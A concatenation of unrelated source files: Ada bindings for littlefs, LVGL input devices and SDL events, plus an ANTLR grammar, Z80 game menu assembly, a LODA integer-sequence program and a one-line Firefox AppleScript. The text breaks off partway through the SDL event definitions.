-- Unmounts a littlefs
--
-- Does nothing besides releasing any allocated resources.
--
-- Returns a negative error code on failure.
------------------------
-- General operations --
------------------------
function Remove (LFS : aliased in out LFS_T;
Path : String)
return int;
-- Removes a file or directory
--
-- If removing a directory, the directory must be empty.
--
-- Returns a negative error code on failure.
function Rename (LFS : aliased in out LFS_T;
Oldpath : String;
Newpath : String)
return int;
-- Rename or move a file or directory
--
-- If the destination exists, it must match the source in type.
-- If the destination is a directory, the directory must be empty.
--
-- Returns a negative error code on failure.
function Stat (LFS : aliased in out LFS_T;
Path : String;
Info : aliased out Entry_Info)
return int;
-- Find info about a file or directory
--
-- Fills out the info structure, based on the specified file or directory.
--
-- Returns a negative error code on failure.
function Getattr (LFS : aliased in out LFS_T;
Path : String;
Id : Interfaces.Unsigned_8;
Buffer : System.Address;
Size : LFS_Size)
return LFS_Signed_Size;
-- Get a custom attribute
--
-- Custom attributes are uniquely identified by an 8-bit type and limited
-- to LFS_ATTR_MAX bytes. When read, if the stored attribute is smaller
-- than the buffer, it will be padded with zeros. If the stored attribute
-- is larger, then it will be silently truncated. If no attribute is found,
-- the error LFS_ERR_NOATTR is returned and the buffer is filled with
-- zeros. Returns the size of the attribute, or a negative error code on
-- failure. Note, the returned size is the size of the attribute on disk,
-- irrespective of the size of the buffer. This can be used to dynamically
-- allocate a buffer
--
-- or check for existance.
function Setattr (LFS : aliased in out LFS_T;
Path : String;
Id : Interfaces.Unsigned_8;
Buffer : System.Address;
Size : LFS_Size)
return int;
-- Set custom attributes
--
-- Custom attributes are uniquely identified by an 8-bit type and limited
-- to LFS_ATTR_MAX bytes. If an attribute is not found, it will be
-- implicitly created.
--
-- Returns a negative error code on failure.
function Removeattr (LFS : aliased in out LFS_T;
Path : String;
Id : Interfaces.Unsigned_8)
return int;
-- Removes a custom attribute
--
-- If an attribute is not found, nothing happens.
--
-- Returns a negative error code on failure.
---------------------
-- File operations --
---------------------
function Open (LFS : aliased in out LFS_T;
File : aliased in out LFS_File;
Path : String;
Flags : LFS_Open_Flags)
return int;
-- Open a file
--
-- The mode that the file is opened in is determined by the flags, which
-- are values from the enum lfs_open_flags that are bitwise-ored together.
--
-- Returns a negative error code on failure.
function Opencfg (LFS : aliased in out LFS_T;
File : aliased in out LFS_File;
Path : String;
Flags : LFS_Open_Flags;
Config : aliased lfs_file_config)
return int;
-- Open a file with extra configuration
--
-- The mode that the file is opened in is determined by the flags, which
-- are values from the enum lfs_open_flags that are bitwise-ored together.
-- The config struct provides additional config options per file as
-- described above. The config struct must be allocated while the file is
-- open, and the config struct must be zeroed for defaults and backwards
-- compatibility.
--
-- Returns a negative error code on failure.
function Close (LFS : aliased in out LFS_T;
File : aliased in out LFS_File)
return int;
-- Close a file
--
-- Any pending writes are written out to storage as though sync had been
-- called and releases any allocated resources.
--
-- Returns a negative error code on failure.
function Sync (LFS : aliased in out LFS_T;
File : aliased in out LFS_File)
return int;
-- Synchronize a file on storage
--
-- Any pending writes are written out to storage.
--
-- Returns a negative error code on failure.
function Read (LFS : aliased in out LFS_T;
File : aliased in out LFS_File;
Buffer : System.Address;
Size : LFS_Size)
return LFS_Signed_Size;
-- Read data from file
--
-- Takes a buffer and size indicating where to store the read data.
--
-- Returns the number of bytes read, or a negative error code on failure.
function Write (LFS : aliased in out LFS_T;
File : aliased in out LFS_File;
Buffer : System.Address;
Size : LFS_Size)
return LFS_Signed_Size;
-- Write data to file
--
-- Takes a buffer and size indicating the data to write. The file will not
-- actually be updated on the storage until either sync or close is called.
--
-- Returns the number of bytes written, or a negative error code on
-- failure.
function Seek (LFS : aliased in out LFS_T;
File : aliased in out LFS_File;
Off : LFS_Signed_Offset;
Whence : int)
return LFS_Signed_Offset;
-- Change the position of the file
--
-- The change in position is determined by the offset and whence flag.
--
-- Returns the new position of the file, or a negative error code on
-- failure.
function Truncate (LFS : aliased in out LFS_T;
File : aliased in out LFS_File;
Size : LFS_Offset)
return int;
-- Truncates the size of the file to the specified size
--
-- Returns a negative error code on failure.
function Tell (LFS : aliased in out LFS_T;
File : aliased in out LFS_File)
return LFS_Signed_Offset;
-- Return the position of the file
--
-- Equivalent to lfs_file_seek(lfs, file, 0, LFS_SEEK_CUR)
--
-- Returns the position of the file, or a negative error code on failure.
function Rewind (LFS : aliased in out LFS_T;
File : aliased in out LFS_File)
return int;
-- Change the position of the file to the beginning of the file
--
-- Equivalent to lfs_file_seek(lfs, file, 0, LFS_SEEK_SET)
--
-- Returns a negative error code on failure.
function Size (LFS : aliased in out LFS_T;
File : aliased in out LFS_File)
return LFS_Signed_Offset;
-- Return the size of the file
--
-- Similar to lfs_file_seek(lfs, file, 0, LFS_SEEK_END)
--
-- Returns the size of the file, or a negative error code on failure.
--------------------------
-- Directory operations --
--------------------------
function Mkdir (LFS : aliased in out LFS_T;
Path : String)
return int;
-- Create a directory
--
-- Returns a negative error code on failure.
function Open (LFS : aliased in out LFS_T;
Dir : aliased in out LFS_Dir;
Path : String)
return int;
-- Open a directory
--
-- Once open a directory can be used with read to iterate over files.
--
-- Returns a negative error code on failure.
function Close (LFS : aliased in out LFS_T;
Dir : aliased in out LFS_Dir)
return int;
-- Close a directory
--
-- Releases any allocated resources.
--
-- Returns a negative error code on failure.
function Read (LFS : aliased in out LFS_T;
Dir : aliased in out LFS_Dir;
Info : aliased out Entry_Info)
return int;
-- Read an entry in the directory
--
-- Fills out the info structure, based on the specified file or directory.
--
-- Returns a positive value on success, 0 at the end of directory, or a
-- negative error code on failure.
function Seek (LFS : aliased in out LFS_T;
Dir : aliased in out LFS_Dir;
Off : LFS_Offset)
return int;
-- Change the position of the directory
--
-- The new off must be a value previous returned from tell and specifies an
-- absolute offset in the directory seek.
--
-- Returns a negative error code on failure.
function Tell (LFS : aliased in out LFS_T;
Dir : aliased in out LFS_Dir)
return LFS_Signed_Offset;
-- Return the position of the directory
--
-- The returned offset is only meant to be consumed by seek and may not
-- make sense, but does indicate the current position in the directory
-- iteration.
--
-- Returns the position of the directory, or a negative error code on
-- failure.
function Rewind (LFS : aliased in out LFS_T;
Dir : aliased in out LFS_Dir)
return int;
-- Change the position of the directory to the beginning of the directory
--
-- Returns a negative error code on failure.
--------------------------------------------
-- Filesystem-level filesystem operations --
--------------------------------------------
function Size (LFS : aliased in out LFS_T) return LFS_Signed_Size;
-- Finds the current size of the filesystem
--
-- Note: Result is best effort. If files share COW structures, the returned
-- size may be larger than the filesystem actually is.
--
-- Returns the number of allocated blocks, or a negative error code on
-- failure.
function Traverse
(LFS : aliased in out LFS_T;
CB : access function (arg1 : System.Address; arg2 : LFS_Block)
return int;
Data : System.Address)
return int;
-- Traverse through all blocks in use by the filesystem
--
-- The provided callback will be called with each block address that is
-- currently in use by the filesystem. This can be used to determine which
-- blocks are in use or how much of the storage is available.
--
-- Returns a negative error code on failure.
-- Configuration provided during initialization of the littlefs
type LFS_Config is record
Context : System.Address;
-- Opaque user provided context that can be used to pass information to
-- the block device operations
Read : access function (C : access constant LFS_Config;
Block : LFS_Block;
Off : LFS_Offset;
Buffer : System.Address;
Size : LFS_Size)
return int;
-- Read a region in a block. Negative error codes are propogated to the
-- user.
Prog : access function (C : access constant LFS_Config;
Block : LFS_Block;
Off : LFS_Offset;
Buffer : System.Address;
Size : LFS_Size)
return int;
-- Program a region in a block. The block must have previously been
-- erased. Negative error codes are propogated to the user. May return
-- LFS_ERR_CORRUPT if the block should be considered bad.
Erase : access function (C : access constant LFS_Config;
Block : LFS_Block)
return int;
-- Erase a block. A block must be erased before being programmed. The
-- state of an erased block is undefined. Negative error codes are
-- propogated to the user. May return LFS_ERR_CORRUPT if the block
-- should be considered bad.
Sync : access function (C : access constant LFS_Config) return int;
-- Sync the state of the underlying block device. Negative error codes
-- are propogated to the user.
-- LFS_THREADSAFE not implemented
-- Lock the underlying block device. Negative error codes
-- are propogated to the user.
-- Unlock the underlying block device. Negative error codes
-- are propogated to the user.
Read_Size : aliased LFS_Size;
-- Minimum size of a block read. All read operations will be a multiple
-- of this value.
Prog_Size : aliased LFS_Size;
-- Minimum size of a block program. All program operations will be a
-- multiple of this value.
Block_Size : aliased LFS_Size;
-- Size of an erasable block. This does not impact ram consumption and
-- may be larger than the physical erase size. However, non-inlined
-- files take up at minimum one block. Must be a multiple of the read
-- and program sizes.
Block_Count : aliased LFS_Size;
-- Number of erasable blocks on the device.
Block_Cycles : aliased Interfaces.Integer_32;
-- Number of erase cycles before littlefs evicts metadata logs and moves
-- the metadata to another block. Suggested values are in the range
-- 100-1000, with large values having better performance at the cost
-- of less consistent wear distribution.
--
-- Set to -1 to disable block-level wear-leveling.
Cache_Size : aliased LFS_Size;
-- Size of block caches. Each cache buffers a portion of a block in RAM.
-- The littlefs needs a read cache, a program cache, and one additional
-- cache per file. Larger caches can improve performance by storing more
-- data and reducing the number of disk accesses. Must be a multiple of
-- the read and program sizes, and a factor of the block size.
Lookahead_Size : aliased LFS_Size;
-- Size of the lookahead buffer in bytes. A larger lookahead buffer
-- increases the number of blocks found during an allocation pass. The
-- lookahead buffer is stored as a compact bitmap, so each byte of RAM
-- can track 8 blocks. Must be a multiple of 8.
Read_Buffer : System.Address;
-- Optional statically allocated read buffer. Must be cache_size. By
-- default lfs_malloc is used to allocate this buffer.
Prog_Buffer : System.Address;
-- Optional statically allocated program buffer. Must be cache_size. By
-- default lfs_malloc is used to allocate this buffer.
Lookahead_Buffer : System.Address;
-- Optional statically allocated lookahead buffer. Must be
-- lookahead_size and aligned to a 32-bit boundary. By default
-- lfs_malloc is used to allocate this buffer.
Name_Max : aliased LFS_Size;
-- Optional upper limit on length of file names in bytes. No downside
-- for larger names except the size of the info struct which is
-- controlled by the LFS_NAME_MAX define. Defaults to LFS_NAME_MAX when
-- zero. Stored in superblock and must be respected by other littlefs
-- drivers.
File_Max : aliased LFS_Size;
-- Optional upper limit on files in bytes. No downside for larger files
-- but must be <= LFS_FILE_MAX. Defaults to LFS_FILE_MAX when zero.
-- Stored in superblock and must be respected by other littlefs drivers.
Attr_Max : aliased LFS_Size;
-- Optional upper limit on custom attributes in bytes. No downside
-- for larger attributes size but must be <= LFS_ATTR_MAX. Defaults
-- to LFS_ATTR_MAX when zero.
end record
with Convention => C_Pass_By_Copy;
private
for File_Kind use (Register => 1,
Directory => 2);
type Entry_Info is record
c_type : aliased Interfaces.Unsigned_8;
size : aliased LFS_Size;
name : aliased String (1 .. LFS_NAME_MAX + 1);
end record
with Convention => C_Pass_By_Copy;
---------------------------------------
-- internal littlefs data structures --
---------------------------------------
type lfs_cache_t is record
block : aliased LFS_Block;
off : aliased LFS_Offset;
size : aliased LFS_Size;
buffer : access Interfaces.Unsigned_8;
end record
with Convention => C_Pass_By_Copy;
type lfs_mdir_array2006 is array (0 .. 1) of aliased LFS_Block;
type lfs_mdir_t is record
pair : aliased lfs_mdir_array2006;
rev : aliased Interfaces.Unsigned_32;
off : aliased LFS_Offset;
etag : aliased Interfaces.Unsigned_32;
count : aliased Interfaces.Unsigned_16;
erased : aliased Extensions.bool;
split : aliased Extensions.bool;
tail : aliased lfs_mdir_array2006;
end record
with Convention => C_Pass_By_Copy;
-- littlefs directory type
type lfs_dir_array2006 is array (0 .. 1) of aliased LFS_Block;
type LFS_Dir is record
next : access LFS_Dir;
id : aliased Interfaces.Unsigned_16;
c_type : aliased Interfaces.Unsigned_8;
m : aliased lfs_mdir_t;
pos : aliased LFS_Offset;
head : aliased lfs_dir_array2006;
end record
with Convention => C_Pass_By_Copy;
-- littlefs file type
type lfs_ctz is record
head : aliased LFS_Block;
size : aliased LFS_Size;
end record
with Convention => C_Pass_By_Copy;
type LFS_File is record
next : access LFS_File;
id : aliased Interfaces.Unsigned_16;
c_type : aliased Interfaces.Unsigned_8;
m : aliased lfs_mdir_t;
ctz : aliased lfs_ctz;
flags : aliased Interfaces.Unsigned_32;
pos : aliased LFS_Offset;
block : aliased LFS_Block;
off : aliased LFS_Offset;
cache : aliased lfs_cache_t;
cfg : access constant lfs_file_config;
end record
with Convention => C_Pass_By_Copy;
type lfs_superblock is record
version : aliased Interfaces.Unsigned_32;
block_size : aliased LFS_Size;
block_count : aliased LFS_Size;
name_max : aliased LFS_Size;
file_max : aliased LFS_Size;
attr_max : aliased LFS_Size;
end record
with Convention => C_Pass_By_Copy;
subtype lfs_superblock_t is lfs_superblock;
type lfs_gstate_array2006 is array (0 .. 1) of aliased LFS_Block;
type lfs_gstate is record
tag : aliased Interfaces.Unsigned_32;
pair : aliased lfs_gstate_array2006;
end record
with Convention => C_Pass_By_Copy;
subtype lfs_gstate_t is lfs_gstate;
-- The littlefs filesystem type
type lfs_mlist;
type lfs_mlist is record
next : access lfs_mlist;
id : aliased Interfaces.Unsigned_16;
c_type : aliased Interfaces.Unsigned_8;
m : aliased lfs_mdir_t;
end record
with Convention => C_Pass_By_Copy;
type lfs_free is record
off : aliased LFS_Block;
size : aliased LFS_Block;
i : aliased LFS_Block;
ack : aliased LFS_Block;
buffer : access Interfaces.Unsigned_32;
end record
with Convention => C_Pass_By_Copy;
type lfs_array2006 is array (0 .. 1) of aliased LFS_Block;
type LFS_T is record
rcache : aliased lfs_cache_t;
pcache : aliased lfs_cache_t;
root : aliased lfs_array2006;
mlist : access lfs_mlist;
seed : aliased Interfaces.Unsigned_32;
gstate : aliased lfs_gstate_t;
gdisk : aliased lfs_gstate_t;
gdelta : aliased lfs_gstate_t;
free : aliased lfs_free;
cfg : access constant LFS_Config;
name_max : aliased LFS_Size;
file_max : aliased LFS_Size;
attr_max : aliased LFS_Size;
end record
with Convention => C_Pass_By_Copy;
-- function Migrate (LFS : aliased in out LFS_T;
-- Config : aliased in out LFS_Config)
-- return int;
-- -- Attempts to migrate a previous version of littlefs
-- --
-- -- Behaves similarly to the lfs_format function. Attempts to mount
-- -- the previous version of littlefs and update the filesystem so it
-- -- can be mounted with the current version of littlefs.
-- -- Requires a littlefs object and config struct. This clobbers the
-- -- littlefs object, and does not leave the filesystem mounted. The
-- -- config struct must be zeroed for defaults and backwards
-- -- compatibility.
-- --
-- -- Returns a negative error code on failure.
pragma Inline (Kind);
pragma Inline (Name);
pragma Inline (Size);
pragma Inline (Format);
pragma Inline (Mount);
pragma Inline (Unmount);
pragma Inline (Remove);
pragma Inline (Rename);
pragma Inline (Stat);
pragma Inline (Getattr);
pragma Inline (Setattr);
pragma Inline (Removeattr);
pragma Inline (Open);
pragma Inline (Opencfg);
pragma Inline (Close);
pragma Inline (Sync);
pragma Inline (Read);
pragma Inline (Write);
pragma Inline (Seek);
pragma Inline (Truncate);
pragma Inline (Tell);
pragma Inline (Rewind);
pragma Inline (Mkdir);
pragma Inline (Traverse);
end Littlefs;
|
ANTLRTestProjects/antbased/CodeCompletion/grammar/org/mypackage/ParserGrammar.g4 | timboudreau/ANTLR4-Plugins-for-NetBeans | 1 | 894 | /******************************************************
* A multi-line Javadoc-like comment about my grammar *
******************************************************/
parser grammar ParserGrammar;
options { tokenVocab=LexerGrammar; }
tokens { PG_TOKEN }
rule1 : gr1=LG_TOKEN_1* gr2=rule2;
rule2 : ILG_1_TOKEN_3+ PG_TOKEN ;
rule3 : 'azerty'; |
src/lv-hal-indev.ads | Fabien-Chouteau/ada-lvlg | 3 | 25065 | <filename>src/lv-hal-indev.ads<gh_stars>1-10
with Lv.Area;
with System;
package Lv.Hal.Indev is
type Indev_Type_T is (Type_None,
Type_Pointer,
Type_Keypad,
Type_Button,
Type_Encoder);
type Indev_State_T is (State_Rel, State_Pr);
type Indev_Data_T_Union (Discr : unsigned := 0) is record
case Discr is
when 0 =>
Point : aliased Lv.Area.Point_T;
when 1 =>
Key : aliased Uint32_T;
when 2 =>
Btn : aliased Uint32_T;
when others =>
Enc_Diff : aliased Int16_T;
end case;
end record;
pragma Convention (C_Pass_By_Copy, Indev_Data_T_Union);
pragma Unchecked_Union (Indev_Data_T_Union);
type Indev_Data_T is record
Union : aliased Indev_Data_T_Union;
User_Data : System.Address;
State : aliased Indev_State_T;
end record;
pragma Convention (C_Pass_By_Copy, Indev_Data_T);
type Indev_Drv_T is record
C_Type : aliased Indev_Type_T;
Read : access function (Data : access Indev_Data_T) return U_Bool;
User_Data : System.Address;
end record;
pragma Convention (C_Pass_By_Copy, Indev_Drv_T);
type Indev_T is private;
-- Initialize an input device driver with default values.
-- It is used to surly have known values in the fields ant not memory junk.
-- After it you can set the fields.
-- @param driver pointer to driver variable to initialize
procedure Init_Drv (Driver : access Indev_Drv_T);
-- Register an initialized input device driver.
-- @param driver pointer to an initialized 'lv_indev_drv_t' variable (can be local variable)
-- @return pointer to the new input device or NULL on error
function Register
(Driver : access Indev_Drv_T) return Indev_T;
-- Get the next input device.
-- @param indev pointer to the current input device. NULL to initialize.
-- @return the next input devise or NULL if no more. Gives the first input device when the parameter is NULL
function Next
(Indev : access Indev_T) return access Indev_T;
-- Read data from an input device.
-- @param indev pointer to an input device
-- @param data input device will write its data here
-- @return false: no more data; true: there more data to read (buffered)
function Read
(Indev : access Indev_T;
Data : access Indev_Data_T) return U_Bool;
private
type Indev_T is new System.Address;
-------------
-- Imports --
-------------
pragma Import (C, Init_Drv, "lv_indev_drv_init");
pragma Import (C, Register, "lv_indev_drv_register");
pragma Import (C, Next, "lv_indev_next");
pragma Import (C, Read, "lv_indev_read");
for Indev_Type_T'Size use 8;
for Indev_Type_T use
(Type_None => 0,
Type_Pointer => 1,
Type_Keypad => 2,
Type_Button => 3,
Type_Encoder => 4);
for Indev_State_T'Size use 8;
for Indev_State_T use (State_Rel => 0, State_Pr => 1);
end Lv.Hal.Indev;
|
tutorials/part8/src/menu.asm | Threetwosevensixseven/ZalaXa | 5 | 166189 | <gh_stars>1-10
; menu.asm
SetupMenu proc
call ClsAttr ; Call another named procedure to do a fast CLS (like GOSUB)
Print(MenuText, MenuText.Length); Print text on the screen using ROM routines
WaitForSpace: ; All labels inside procedures are local to that procedure
halt ; Wait for the next 1/50th second interrupt (like PAUSE 1)
ld bc, zeuskeyaddr(" ") ; Get the IO address to input
in a, (c) ; Read those 5 keys
and zeuskeymask(" ") ; AND with the bit for SPACE
jp nz, WaitForSpace ; If it's zero the key is pressed
ret ; Otherwise return
pend
SetupGame proc
call ClsAttr ; Clear the 8x2 attributes for a fast CLS before setup
call ClsNirvana
ld a, WTile.Ship ; WTile.Monster is 0 - the index of the first tile in the set
ld (Sprites.BIndex), a ; Set NIRVANA+ sprite B to this sprite index
ld a, WTile.Blank ; WTile.Blank is 12 - the index of the blank tile
ld (Sprites.AIndex), a ; Set NIRVANA+ sprite A to this sprite index
ld a, 120 ; 120 is the dead center in the horizontal axis
ld (MovePlayer.X), a ; Set the playing horizontal starting position
ld a, 184 ; 96 is the dead center in the vertical axis
ld (MovePlayer.Y), a ; Set the playing vertical starting position
call NIRVANA_start ; Enable NIRVANA+
ret
pend
|
oeis/009/A009982.asm | neoneye/loda-programs | 11 | 7840 | ; A009982: Powers of 38.
; 1,38,1444,54872,2085136,79235168,3010936384,114415582592,4347792138496,165216101262848,6278211847988224,238572050223552512,9065737908494995456,344498040522809827328,13090925539866773438464,497455170514937390661632,18903296479567620845142016,718325266223569592115396608,27296360116495644500385071104,1037261684426834491014632701952,39415944008219710658556042674176,1497805872312349005025129621618688,56916623147869262190954925621510144,2162831679619031963256287173617385472
mov $1,38
pow $1,$0
mov $0,$1
|
Applications/Firefox/windows/windows.applescript | looking-for-a-job/applescript-examples | 1 | 3739 | <filename>Applications/Firefox/windows/windows.applescript
#!/usr/bin/osascript
tell application "Firefox"
windows
end tell
|
extern/gnat_sdl/gnat_sdl2/src/sdl_events_h.ads | AdaCore/training_material | 15 | 12571 | pragma Ada_2005;
pragma Style_Checks (Off);
with Interfaces.C; use Interfaces.C;
with SDL_stdinc_h;
with SDL_keyboard_h;
with SDL_joystick_h;
with SDL_touch_h;
with SDL_gesture_h;
with Interfaces.C.Strings;
with System;
package SDL_events_h is
SDL_RELEASED : constant := 0; -- ..\SDL2_tmp\SDL_events.h:49
SDL_PRESSED : constant := 1; -- ..\SDL2_tmp\SDL_events.h:50
SDL_TEXTEDITINGEVENT_TEXT_SIZE : constant := (32); -- ..\SDL2_tmp\SDL_events.h:223
SDL_TEXTINPUTEVENT_TEXT_SIZE : constant := (32); -- ..\SDL2_tmp\SDL_events.h:238
SDL_QUERY : constant := -1; -- ..\SDL2_tmp\SDL_events.h:753
SDL_IGNORE : constant := 0; -- ..\SDL2_tmp\SDL_events.h:754
SDL_DISABLE : constant := 0; -- ..\SDL2_tmp\SDL_events.h:755
SDL_ENABLE : constant := 1; -- ..\SDL2_tmp\SDL_events.h:756
-- arg-macro: procedure SDL_GetEventState (type)
-- SDL_EventState(type, SDL_QUERY)
-- Simple DirectMedia Layer
-- Copyright (C) 1997-2018 <NAME> <<EMAIL>>
-- This software is provided 'as-is', without any express or implied
-- warranty. In no event will the authors be held liable for any damages
-- arising from the use of this software.
-- Permission is granted to anyone to use this software for any purpose,
-- including commercial applications, and to alter it and redistribute it
-- freely, subject to the following restrictions:
-- 1. The origin of this software must not be misrepresented; you must not
-- claim that you wrote the original software. If you use this software
-- in a product, an acknowledgment in the product documentation would be
-- appreciated but is not required.
-- 2. Altered source versions must be plainly marked as such, and must not be
-- misrepresented as being the original software.
-- 3. This notice may not be removed or altered from any source distribution.
--
--*
-- * \file SDL_events.h
-- *
-- * Include file for SDL event handling.
--
-- Set up for C function definitions, even when using C++
-- General keyboard/mouse state definitions
--*
-- * \brief The types of events that can be delivered.
--
--*< Unused (do not remove)
-- Application events
--*< User-requested quit
-- These application events have special meaning on iOS, see README-ios.md for details
--*< The application is being terminated by the OS
-- Called on iOS in applicationWillTerminate()
-- Called on Android in onDestroy()
--
--*< The application is low on memory, free memory if possible.
-- Called on iOS in applicationDidReceiveMemoryWarning()
-- Called on Android in onLowMemory()
--
--*< The application is about to enter the background
-- Called on iOS in applicationWillResignActive()
-- Called on Android in onPause()
--
--*< The application did enter the background and may not get CPU for some time
-- Called on iOS in applicationDidEnterBackground()
-- Called on Android in onPause()
--
--*< The application is about to enter the foreground
-- Called on iOS in applicationWillEnterForeground()
-- Called on Android in onResume()
--
--*< The application is now interactive
-- Called on iOS in applicationDidBecomeActive()
-- Called on Android in onResume()
--
-- Display events
--*< Display state change
-- Window events
--*< Window state change
--*< System specific event
-- Keyboard events
--*< Key pressed
--*< Key released
--*< Keyboard text editing (composition)
--*< Keyboard text input
--*< Keymap changed due to a system event such as an
-- input language or keyboard layout change.
--
-- Mouse events
--*< Mouse moved
--*< Mouse button pressed
--*< Mouse button released
--*< Mouse wheel motion
-- Joystick events
--*< Joystick axis motion
--*< Joystick trackball motion
--*< Joystick hat position change
--*< Joystick button pressed
--*< Joystick button released
--*< A new joystick has been inserted into the system
--*< An opened joystick has been removed
-- Game controller events
--*< Game controller axis motion
--*< Game controller button pressed
--*< Game controller button released
--*< A new Game controller has been inserted into the system
--*< An opened Game controller has been removed
--*< The controller mapping was updated
-- Touch events
-- Gesture events
-- Clipboard events
--*< The clipboard changed
-- Drag and drop events
--*< The system requests a file open
--*< text/plain drag-and-drop event
--*< A new set of drops is beginning (NULL filename)
--*< Current set of drops is now complete (NULL filename)
-- Audio hotplug events
--*< A new audio device is available
--*< An audio device has been removed.
-- Sensor events
--*< A sensor was updated
-- Render events
--*< The render targets have been reset and their contents need to be updated
--*< The device has been reset and all textures need to be recreated
--* Events ::SDL_USEREVENT through ::SDL_LASTEVENT are for your use,
-- * and should be allocated with SDL_RegisterEvents()
--
--*
-- * This last event is only for bounding internal arrays
--
subtype SDL_EventType is unsigned;
SDL_FIRSTEVENT : constant unsigned := 0;
-- manual fix for Ada because of the function with the same name!
--SDL_QUIT : constant unsigned := 256;
SDL_QUIT_Evt : constant unsigned := 256;
SDL_APP_TERMINATING : constant unsigned := 257;
SDL_APP_LOWMEMORY : constant unsigned := 258;
SDL_APP_WILLENTERBACKGROUND : constant unsigned := 259;
SDL_APP_DIDENTERBACKGROUND : constant unsigned := 260;
SDL_APP_WILLENTERFOREGROUND : constant unsigned := 261;
SDL_APP_DIDENTERFOREGROUND : constant unsigned := 262;
-- manual fix for Ada because of the function with the same name!
-- SDL_DISPLAYEVENT : constant unsigned := 336;
SDL_DISPLAYEVENT_Evt : constant unsigned := 336;
-- manual fix for Ada because of the function with the same name!
-- SDL_WINDOWEVENT : constant unsigned := 512;
SDL_WINDOWEVENT_Evt : constant unsigned := 512;
-- manual fix for Ada because of the function with the same name!
-- SDL_SYSWMEVENT : constant unsigned := 513;
SDL_SYSWMEVENT_Evt : constant unsigned := 513;
SDL_KEYDOWN : constant unsigned := 768;
SDL_KEYUP : constant unsigned := 769;
SDL_TEXTEDITING : constant unsigned := 770;
SDL_TEXTINPUT : constant unsigned := 771;
SDL_KEYMAPCHANGED : constant unsigned := 772;
SDL_MOUSEMOTION : constant unsigned := 1024;
SDL_MOUSEBUTTONDOWN : constant unsigned := 1025;
SDL_MOUSEBUTTONUP : constant unsigned := 1026;
SDL_MOUSEWHEEL : constant unsigned := 1027;
SDL_JOYAXISMOTION : constant unsigned := 1536;
SDL_JOYBALLMOTION : constant unsigned := 1537;
SDL_JOYHATMOTION : constant unsigned := 1538;
SDL_JOYBUTTONDOWN : constant unsigned := 1539;
SDL_JOYBUTTONUP : constant unsigned := 1540;
SDL_JOYDEVICEADDED : constant unsigned := 1541;
SDL_JOYDEVICEREMOVED : constant unsigned := 1542;
SDL_CONTROLLERAXISMOTION : constant unsigned := 1616;
SDL_CONTROLLERBUTTONDOWN : constant unsigned := 1617;
SDL_CONTROLLERBUTTONUP : constant unsigned := 1618;
SDL_CONTROLLERDEVICEADDED : constant unsigned := 1619;
SDL_CONTROLLERDEVICEREMOVED : constant unsigned := 1620;
SDL_CONTROLLERDEVICEREMAPPED : constant unsigned := 1621;
SDL_FINGERDOWN : constant unsigned := 1792;
SDL_FINGERUP : constant unsigned := 1793;
SDL_FINGERMOTION : constant unsigned := 1794;
SDL_DOLLARGESTURE : constant unsigned := 2048;
SDL_DOLLARRECORD : constant unsigned := 2049;
SDL_MULTIGESTURE : constant unsigned := 2050;
SDL_CLIPBOARDUPDATE : constant unsigned := 2304;
SDL_DROPFILE : constant unsigned := 4096;
SDL_DROPTEXT : constant unsigned := 4097;
SDL_DROPBEGIN : constant unsigned := 4098;
SDL_DROPCOMPLETE : constant unsigned := 4099;
SDL_AUDIODEVICEADDED : constant unsigned := 4352;
SDL_AUDIODEVICEREMOVED : constant unsigned := 4353;
SDL_SENSORUPDATE : constant unsigned := 4608;
SDL_RENDER_TARGETS_RESET : constant unsigned := 8192;
SDL_RENDER_DEVICE_RESET : constant unsigned := 8193;
-- manual fix for Ada because of the function with the same name!
-- SDL_USEREVENT : constant unsigned := 32768;
SDL_USEREVENT_Evt : constant unsigned := 32768;
SDL_LASTEVENT : constant unsigned := 65535; -- ..\SDL2_tmp\SDL_events.h:166
--*
-- * \brief Fields shared by every event
--
type SDL_CommonEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:173
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:174
end record;
pragma Convention (C_Pass_By_Copy, SDL_CommonEvent); -- ..\SDL2_tmp\SDL_events.h:171
--*< In milliseconds, populated using SDL_GetTicks()
--*
-- * \brief Display state change event data (event.display.*)
--
--*< ::SDL_DISPLAYEVENT
type SDL_DisplayEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:182
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:183
display : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:184
event : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:185
padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:186
padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:187
padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:188
data1 : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:189
end record;
pragma Convention (C_Pass_By_Copy, SDL_DisplayEvent); -- ..\SDL2_tmp\SDL_events.h:180
--*< In milliseconds, populated using SDL_GetTicks()
--*< The associated display index
--*< ::SDL_DisplayEventID
--*< event dependent data
--*
-- * \brief Window state change event data (event.window.*)
--
--*< ::SDL_WINDOWEVENT
type SDL_WindowEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:197
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:198
windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:199
event : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:200
padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:201
padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:202
padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:203
data1 : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:204
data2 : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:205
end record;
pragma Convention (C_Pass_By_Copy, SDL_WindowEvent); -- ..\SDL2_tmp\SDL_events.h:195
--*< In milliseconds, populated using SDL_GetTicks()
--*< The associated window
--*< ::SDL_WindowEventID
--*< event dependent data
--*< event dependent data
--*
-- * \brief Keyboard button event structure (event.key.*)
--
--*< ::SDL_KEYDOWN or ::SDL_KEYUP
type SDL_KeyboardEvent is record
